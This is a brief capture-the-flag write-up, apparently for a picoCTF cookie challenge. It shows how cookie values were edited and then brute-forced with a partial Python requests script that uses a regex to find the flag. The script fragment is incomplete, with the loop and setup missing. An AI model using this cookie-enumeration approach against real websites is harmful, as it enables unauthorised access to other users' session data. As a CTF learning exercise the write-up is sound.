Inspecting the page if search with the placeholder snickerdoodle we get this responselet’s see the cookie editor extensionlet’s try to change the cookie value to a random number like 5 and see what happensso by changing the cookie value we get different cookie names
How to get the cookie value of the flag let’s see the request passed
So this is the request and response so I can make a python script to brute force the cookie value until the header of the picoCTF flag picoCTF{
The python script First of all let’s see the maximum cookie value. After few tries I found that the maximum value is 28 so let’s start typing the script.
response = requests.get(url, headers=headers, cookies=cookies)
match = re.search(r"picoCTF\{.*?\}", response.text)
if "picoCTF{" in response.text:
print(f"🎉 Flag found! Cookie value: {i}")
print(match.group(0))
break
else:
print(f"Tried cookie value: {i} - No flag found.")
TEXT
First from the request we captured by burp let's put it then try to extract the flag by regex expression.
---